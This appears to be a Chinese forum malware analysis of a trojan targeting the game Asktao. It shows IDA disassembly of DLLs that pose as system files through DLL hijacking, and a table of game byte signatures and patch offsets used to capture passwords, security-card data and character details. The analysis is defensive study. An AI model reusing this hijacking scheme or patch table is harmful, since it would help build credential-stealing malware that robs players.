木马 介绍:
 名称:  问道木马
   大小:  32.0 KB
   释放文件: 
     7cbdddd.dat   
     ksuser.dll     --扮成系统文件           
      midimap.dll   --     扮成系统文件    
     sysapp17.dll         

宿主文件执行流程:

运行后,释放7cbdddd.dat 文件, 查找注册表里游戏的目录,在游戏目录中释放 ksuser.dll , midimap.dll, 在windows系统目录释放sysapp17.dll,都是截取密码,patch游戏的主DLL.是一个文件..
把系统本身 ksuser.dll,  midimap.dll,改名为 Yumidimap.dll, Yuksuser.dll.
在cache目录里保存 ksuser.dll ,  midimap.dll 木马备份.

7cbdddd.dat  与  ksuser.dll等文件的执行流程一样,此文件对搜狗输入法有操作.以及删除EXE文件的工作.

ksuser.dll 流程:
 流程执行完成后会进行文件的加系统隐藏权限.

代码:
.text:10005B30 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10005B30 _DllMain@12     proc near               ; CODE XREF: DllEntryPoint+4B#p
.text:10005B30
.text:10005B30 hinstDLL        = dword ptr  4
.text:10005B30 fdwReason       = dword ptr  8
.text:10005B30 lpvReserved     = dword ptr  0Ch
.text:10005B30                 cmp     [esp+fdwReason], 1
.text:10005B35                 jnz     short loc_10005B73
.text:10005B37                 mov     eax, [esp+hinstDLL]
.text:10005B3B                 mov     hModule, eax
.text:10005B40                 call    GetSystemInfo     //得到系统相关的信息,MAC地址,系统目录,加载进程
.text:10005B45                 call    IsLoadDll                          //得到加载的名称..
.text:10005B4A                 call    GetFunAddress_             //导出一系列系统函数,不想在输入表出现.
.text:10005B4F                 xor     eax, eax
.text:10005B51                 push    eax
.text:10005B52                 push    eax
.text:10005B53                 push    eax
.text:10005B54                 push    offset sub_10005A7A         //线程处理函数,重要操作在这里.
.text:10005B59                 push    eax
.text:10005B5A                 push    eax
.text:10005B5B                 call    CreateThread_
.text:10005B61                 push    eax             ; hObject
.text:10005B62                 call    ds:CloseHandle
.text:10005B68                 push    offset FileName ; lpFileName
.text:10005B6D                 call    sub_10004D09      //将当前执行的DLL设置为系统隐藏属性.
.text:10005B72                 pop     ecx
.text:10005B73
.text:10005B73 loc_10005B73:                           ; CODE XREF: DllMain(x,x,x)+5#j
.text:10005B73                 push    1
.text:10005B75                 pop     eax
.text:10005B76                 retn    0Ch
.text:10005B76 _DllMain@12     endp
IsLoadDll函数: 
         功能: 因为修改替换了系统的文件,所以在加载到此dll的时候,dll会检测当前加载的名称,然后loadlibrary 原本系统函数,完成加载的目的.


代码:
.text:10005983 IsLoadDll       proc near               ; CODE XREF: DllMain(x,x,x)+15#p
.text:10005983
.text:10005983 var_C           = dword ptr -0Ch
.text:10005983
.text:10005983                 push    esi
.text:10005984                 push    edi
.text:10005985                 push    offset FileName ; Str
.text:1000598A                 call    str_str                         //字符串截断.
.text:1000598F                 mov     esi, eax
.text:10005991                 mov     [esp+0Ch+var_C], offset aKsuser_dll ; "ksuser.dll"
.text:10005998                 push    esi             ; Str1
.text:10005999                 call    strcmp                                          //判断是不是 ksuser.dll
.text:1000599E                 pop     ecx
.text:1000599F                 test    eax, eax
.text:100059A1                 pop     ecx
.text:100059A2                 jnz     short loc_100059B0
.text:100059A4                 push    offset aYuksuser_dll ; "yuksuser.dll"      //加载原有的dll.
.text:100059A9                 mov     edi, offset dword_1008FC80
.text:100059AE                 jmp     short loc_100059E8                             //跳过去.loadlibrary
.text:100059B0 ; ---------------------------------------------------------------------------
.text:100059B0
.text:100059B0 loc_100059B0:                           ; CODE XREF: IsLoadDll+1F#j
.text:100059B0                 push    offset aMidimap_dll ; "midimap.dll"
.text:100059B5                 push    esi             ; Str1
.text:100059B6                 call    strcmp
.text:100059BB                 pop     ecx
.text:100059BC                 test    eax, eax
.text:100059BE                 pop     ecx
.text:100059BF                 jnz     short loc_100059CD
.text:100059C1                 push    offset aYumidimap_dll ; "yumidimap.dll"
.text:100059C6                 mov     edi, offset dword_1008FC84
.text:100059CB                 jmp     short loc_100059E8
.text:100059CD ; ---------------------------------------------------------------------------
.text:100059CD
.text:100059CD loc_100059CD:                           ; CODE XREF: IsLoadDll+3C#j
.text:100059CD                 push    offset aComres_dll ; "comres.dll"
.text:100059D2                 push    esi             ; Str1
.text:100059D3                 call    strcmp
.text:100059D8                 pop     ecx
.text:100059D9                 test    eax, eax
.text:100059DB                 pop     ecx
.text:100059DC                 jnz     short loc_100059F9
.text:100059DE                 push    offset aYucomres_dll ; "yucomres.dll"
.text:100059E3                 mov     edi, offset dword_1008FC88
.text:100059E8
.text:100059E8 loc_100059E8:                           ; CODE XREF: IsLoadDll+2B#j
.text:100059E8                                         ; IsLoadDll+48#j
.text:100059E8                 push    edi
.text:100059E9                 call    loadSameDll                                    //加载原来的系统dll
.text:100059EE                 test    eax, eax
.text:100059F0                 jnz     short loc_100059F9
.text:100059F2                 push    esi
.text:100059F3                 push    edi
.text:100059F4                 call    loadSameDll
.text:100059F9
.text:100059F9 loc_100059F9:                        
.text:100059F9                                    
.text:100059F9                 pop     edi
.text:100059FA                 pop     esi
.text:100059FB                 retn
.text:100059FB IsLoadDll       endp
GetFunAddress_ 函数:
                功能: 加载系统的函数,存放到全局变量里.
CopyFile, FindFirstFile,FindNextFile,CreateThread,GetModuleHandle,RegOpenKeyEx
RegQueryValueEx,RegEnumValue,SearchTreeForFileEnumWindows


sub_10005A7A 函数:
              功能:  线程回调函数,完成游戏特征码的查找,游戏patch.


代码:
.text:10005A7A                 push    ebp
.text:10005A7B                 mov     ebp, esp
.text:10005A7D                 sub     esp, 104h
.text:10005A83                 push    ebx
.text:10005A84                 push    esi
.text:10005A85                 push    edi
.text:10005A86                 push    offset unk_1008F1B0 ; Dst
.text:10005A8B                 push    1               ; int
.text:10005A8D                 mov     esi, offset FileName
.text:10005A92                 push    offset unk_1008F260 ; int
.text:10005A97                 push    esi             ; lpFileName
.text:10005A98                 call    Decrypt_        //读取文件末尾处的数据解密,与其他样本类似.
.text:10005A9D                 push    offset unk_1008FBA0
.text:10005AA2                 call    GetMacAddress            //得到当前机器的MAC地址.
.text:10005AA7                 add     esp, 14h
.text:10005AAA                 call    Game_Features         //查找游戏特征,Patch游戏.
.text:10005AAF                 cmp     eax, 1                        //patch游戏成功后下面的流程不会到达
.text:10005AB2                 jz      short loc_10005B26
.text:10005AB4                 push    esi             ; Str
.text:10005AB5                 call     str_str
.text:10005ABA                 mov     esi, ds:strstr
.text:10005AC0                 mov     ebx, offset aSysapp ; "sysapp"
.text:10005AC5                 mov     edi, eax
.text:10005AC7                 push    ebx             ; SubStr
.text:10005AC8                 push    edi             ; Str
.text:10005AC9                 call    esi ; strstr
.text:10005ACB                 add     esp, 0Ch
.text:10005ACE                 test    eax, eax
.text:10005AD0                 jnz     short loc_10005B26
.text:10005AD2                 push    offset aComres  ; "comres"
.text:10005AD7                 push    edi             ; Str
.text:10005AD8                 call    esi ; strstr
.text:10005ADA                 pop     ecx
.text:10005ADB                 test    eax, eax
.text:10005ADD                 pop     ecx
.text:10005ADE                 jnz     short loc_10005B26
.text:10005AE0                 and     [ebp+LibFileName], al
.text:10005AE6                 push    40h
.text:10005AE8                 pop     ecx
.text:10005AE9                 lea     edi, [ebp+var_103]
.text:10005AEF                 rep stosd
.text:10005AF1                 stosw
.text:10005AF3                 push    1
.text:10005AF5                 stosb
.text:10005AF6                 pop     esi
Game_Features 函数:
               功能: 查找游戏的特征码,patch游戏的过程..在Patch思想上与其他游戏功能一样,实现的方法不一样.   只贴出部分代码,后面冗余重复代码没贴.


代码:
.text:1000151D                 push    ebp
.text:1000151E                 mov     ebp, esp
.text:10001520                 sub     esp, 1Ch
.text:10001523                 push    esi
.text:10001524                 mov     esi, offset aAsktao_mod ; "asktao.mod"
.text:10001529                 push    esi             ; Str2
.text:1000152A                 push    offset szLoaddllFrom ; Str1  
.text:1000152F                 call    ds:_stricmp                      //比较下看看加载进程是否是游戏加载.
.text:10001535                 pop     ecx
.text:10001536                 test    eax, eax
.text:10001538                 pop     ecx
.text:10001539                 jnz     loc_1000183C
.text:1000153F                 call    Create_Event                //创建事件互斥.
.text:10001544                 test    eax, eax
.text:10001546                 jnz     loc_1000183C
.text:1000154C                 push    ebx
.text:1000154D                 push    edi
.text:1000154E                 call    ds:_getpid                                //得到当前进程id
.text:10001554                 push    eax             ; lParam 
.text:10001555                 push    offset EnumFunc ; lpEnumFunc //过程函数.
如果在调试状态下,无法得到游戏窗口焦点,此为无限循环,后面调试无法进程.在此函数退出时更改EAX为0
.text:1000155A                 call    ds:EnumWindows                 //枚举窗口
.text:10001560                 call    sub_10001D71  
.text:10001565                 mov     edi, eax
.text:10001567                 call    sub_10003E04
.text:1000156C                 push    offset sub_100013C1
.text:10001571                 call    sub_10003266
                                                      //上面三函数为C++初始化代码,第一个函数疑派生类.   第二个函数初始化 网络连接.WSAStartup,第三个函数,写虚函数地址表.
.text:10001576                 pop     ecx
.text:10001577                 lea     eax, [ebp+var_1C]
.text:1000157A                 push    1
.text:1000157C                 push    12h
.text:1000157E                 push    0Bh
.text:10001580                 xor     ebx, ebx
.text:10001582                 push    eax
.text:10001583                 push    esi
.text:10001584                 mov     ecx, edi
.text:10001586                 mov     [ebp+var_1C], 50h
.text:1000158A                 mov     [ebp+var_1B], 8Dh
.text:1000158E                 mov     [ebp+var_1A], 94h
.text:10001592                 mov     [ebp+var_19], 24h
.text:10001596                 mov     [ebp+var_18], 1Ch
.text:1000159A                 mov     [ebp+var_17], 2
.text:1000159E                 mov     [ebp+var_16], bl
.text:100015A1                 mov     [ebp+var_15], bl
.text:100015A4                 mov     [ebp+var_14], 52h
.text:100015A8                 mov     [ebp+var_13], 8Bh
.text:100015AC                 mov     [ebp+var_12], 0CFh
.text:100015B0                 call    GetFeatures           //字符串查找寻找特征,与前一样本一样,返回找到的地址.
.text:100015B5                 cmp     eax, ebx
.text:100015B7                 mov     [ebp+var_8], eax
.text:100015BA                 jz      short loc_100015DE
.text:100015BC                 push    offset sub_100010FC ; int   //patch的跳转地址.
.text:100015C1                 push    eax             ; lpAddress    //游戏中的位置
.text:100015C2                 mov     ecx, edi
.text:100015C4                 call    SetFeaturesPatch         //patch游戏
SetFeaturesPatch 函数:
                 功能: 对游戏中的关键位置Patch.



dll文件流程完成.下面为Patch的跳转函数.


查找特征游戏进程中                             地址              PatchRVA   

50 8D 94 24 1C 02 00 00 52 8B CF      0045636E         10FC     输入密码截取.每个字符截取
6A 7F 8D 44 24 11 6A 00 50            0064CC3D         12A1       创建新线程账号密码发送
8D 54 24 58 52 57                     0066DAE6         108B    发送用户名.读取游戏配置文件得到区号,发送
83 C4 14 8D 8C 24 2C 03 00 00 51      005266C7         1119->39B2  人物名称,发送到网页.
8B 44 24 4C 8B 4C 24 38               005EAA13         11A2    金钱,人物等级,元宝.
83 C4 0C 83 BE 28 02 00 00 00         006E0990         1276     截图.. 

gbits.dll 找特征
83 C4 0C 83 8B 74 24 28 8A 06         1105341E         12D3    


10FC  函数:
      功能: 从堆栈里读取我输入的密码框数据,(明文),保存到全局变量.

12A1函数:  函数到达的时机在用户输入密码验证框时.密保.
     功能:创建新线程, 账号密码图片发送.

108B 函数: 时机在用户名密码输入完成登录游戏后. 
      功能: 读取游戏目录下的配置文件,得到区号-服务器名


1119函数:
    功能: 得到人物的名称.发送信息.

11A2函数:
    功能: 更新相关标志位,标志游戏当前的时机,得到 金钱,人物等级,.,元宝.发送信息

1276 函数: 当用户游戏点击开锁,输入密码确定时.
     功能: 取得游戏内密码锁开锁时的密码.



12D3函数:  此到达的时机当用户有密保卡或者乾坤锁时.
     功能: 截取密保.


以上差不多就是相关的信息..
差不多够详细了..整个木马的一套流程都理清楚了.

有些地方我没有验证,各位如果有验证的请告知下对错否.__里面特征请勿对号入座...
我附件上传idb文件..
上传的附件 ksuser.zip